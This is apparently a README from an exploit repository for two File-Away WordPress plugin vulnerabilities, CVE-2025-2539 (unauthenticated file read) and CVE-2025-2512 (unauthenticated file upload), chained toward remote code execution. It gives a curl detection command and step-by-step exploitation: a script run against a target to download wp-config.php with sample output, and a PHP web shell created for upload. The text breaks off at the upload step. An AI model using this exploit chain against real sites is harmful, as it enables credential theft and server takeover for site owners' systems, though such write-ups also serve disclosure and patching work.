File-Away Exploit (CVE-2025-2539 & CVE-2025-2512)

📌 Purpose

This repository contains vulnerabilities details and scripts found on File-Away, which is a WordPress plugin used to file management.

This plugin contains two vulnerabilities that can lead to remote code execution (Tested on File-Away 3.9.9.0.1):

• CVE-2025-2539: Unauthenticated arbirtrary file read
• CVE-2025-2512: Unauthenticated arbirtrary file upload

📖 Unauthenticated arbirtrary file read

The File-Away plugin for WordPress is vulnerable to unauthenticated arbitrary file read in all versions up to, and including, 3.9.9.0.1.

This vulnerability exists because of two problems, the lack of authentication verification in the lib/cls/class.fileaway_stats.php:file_away_stats->ajax() function and the use of a weak encryption algorithm in the lib/cls/class.fileaway_encrypted.php:fileaway_encrypted->encrypt() function.

This makes it possible for unauthenticated attackers to read arbitrary files including the WordPress configuration file (wp-config.php).

📁 Unauthenticated arbirtrary file upload

The File-Away plugin for WordPress is vulnerable to unauthenticated arbitrary file upload in all versions up to, and including, 3.9.9.0.1.

This vulnerability exists because of two problems, the lack of authentication verification and the bad file type verification, both in the lib/cls/class.fileaway_management.php:fileaway_management->upload() function.

This makes it possible for unauthenticated attackers to upload arbitrary files that can lead to code execution.

🔍 Detection

If the file-away plugin is installed and enabled on the targeted WordPress instance, the fileaway_stats nonce should be present on the index page:

curl -sk http://127.0.0.1:8000/ | grep -E '^var fileaway_stats.*nonce\":\"([a-f0-9]+)\"};$'

var fileaway_stats = {"ajaxurl":"http:\/\/127.0.0.1:8000\/wp-admin\/admin-ajax.php","nonce":"ff57064c96"};

🐞 Exploitation steps

0. Install python requirements:

   root@kitploit:~

   python3 -m venv venv && venv/bin/pip install httpx
   

1. Use the arbitrary file read vulnerability to get the WordPress instance configuration file (wp-config.php):

   root@kitploit:~

   venv/bin/python3 get_config.py -t http://127.0.0.1:8000
   

   root@kitploit:~

   [+] File-Away nonce:          ff57064c96
   [-] Encrypted web root:       LcZh3iec7c3vfHRt2C8=
   [-] Decoder:                  .i%B7%1Dy%F8%21%8A9%25%9Az%29%AA%BB-%BA%FC1%CB%3D5%DB~9%EB%BF%3D
   [-] Charset:                  abcdefghijklmnopqrstuvwxyz0123456789
   [+] Encryption Key:           f2379aghijklmnopqrstuvwxyz65bc410d8e
   [+] Decrypted web root:       /var/www/html
   [+] Config file downloaded:   127.0.0.1:8000_wp-config.php
   

2. Create a PHP file to upload:

   root@kitploit:~

   echo '<?php system("id"); ?>' > /tmp/exec.php
   

3. Use the arbitrary file upload vulnerability to upload the file on the server: